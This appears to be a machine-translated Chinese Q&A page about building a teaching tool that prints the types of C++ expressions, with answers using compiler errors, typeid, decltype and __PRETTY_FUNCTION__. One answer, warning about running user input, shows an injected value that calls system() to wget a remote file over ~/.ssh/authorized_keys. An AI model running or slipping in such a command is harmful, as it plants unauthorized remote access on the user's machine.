输出任意c++表达式的类型

Print types of arbitrary C++ expressions

本文关键字:类型 表达式 c++ 任意 输出      更新时间:2023-10-16

我对编写一个用于教学目的的工具感兴趣,该工具计算c++表达式并打印其类型。从本质上讲,我的想法是,我的学生可以输入任何表达式,程序会返回表达式的类型。是否有一个现有的工具已经做到了这一点?如果没有,是否有一种非常简单的方法可以通过集成现有的编译器并调用其调试器或API来实现?例如,有人告诉我,Clang有一个相当完整的编译器API,也许有一些方法可以将字符串与适当的include指令一起传递给Clang,并让它吐出类型?

我意识到这可能是一个巨大的项目,如果没有接近这个现有的今天。我只是觉得它会有很大的教育价值,所以似乎值得一试。

受Ben Voigt评论的启发,我想出了一个答案。只要制造一个错误,让编译器告诉你是哪一种类型导致的:

template <typename T> void foo(T); // No definition
int main() {
  foo(1 + 3.0);
}
结果:

In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'

而且,因为你只执行编译器,所以你是相当安全的。真的不需要沙箱。如果您得到的不是"对void foo<T>(T)的未定义引用",则说明它不是表达式。

[edit]你会怎么把它放进一个工具里?简单,使用宏的

// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
  foo(EXPR);
}

现在用$(CC) /D=(EXPR) TestHarness.cpp编译。

进一步改进MSalter的改进:

class X {
  template <typename T> static void foo(T) {}
};
int main() {
  X::foo( $user_code );
}

Result (with $user_code = "1 + 3.0"):

prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context

这避免了链接步骤。


原始回答:

c++有typeid关键字。从概念上讲,您只需要将用户的表达式粘贴到一些样板文件中,例如:

extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
    const type_info& the_type = typeid( $user_code );
    puts(the_type.name());
}

然后将该源文件传递给编译器,并运行它以获得答案。

实际上,要避免运行恶意代码是很困难的。你需要使用某种类型的沙盒。或者非常非常小心地确保没有不匹配的括号(你知道什么是三角字符,对吧?)。

<引用类>

是的,我知道typeid的参数没有被评估。但让$usercode成为1); system("wget -O ~/.ssh/authorized_keys some_url" !

一个更好的选择是避免运行程序。使用框架(需要c++ 11),如:

extern "C" decltype( $user_code )* the_value = 0;

你可以运行编译器来生成调试数据,然后使用例如dwarf2阅读器库来获取与the_value相关的符号类型信息,然后删除一层指针。

在GCC和Clang中使用__PRETTY_FUNCTION__可以做到这一点:

#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
    // __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
    const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
    const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]"
    return std::string_view{ begin, size };
}

template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
    my_class<int&, std::vector<double>> my_arr[20];
    std::cout << type_name<decltype(my_arr)>();
}

GCC的输出:

my_class<int&, std::vector<double> > [20]

我有兴趣编写一个用于教学目的的工具,计算c++表达式并打印它们的类型。从本质上讲,我的想法是,我的学生可以输入任何表达式,程序会返回表达式的类型。是否有一个现有的工具已经做到了这一点?

这些天,有一种这样的工具-在线。它只做你想要的作为一个意想不到的副产品。我说的是Matt Godbolt的Compiler Explorer。

你的"程序"看起来像这样:

#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

现在,如果您用c++表达式替换123,您将在编译器错误消息部分中得到以下内容:

<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
    4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
      |                                                                        ^
Compiler returned: 1

第一行是你想要的类型,在尖括号内。

相关文章: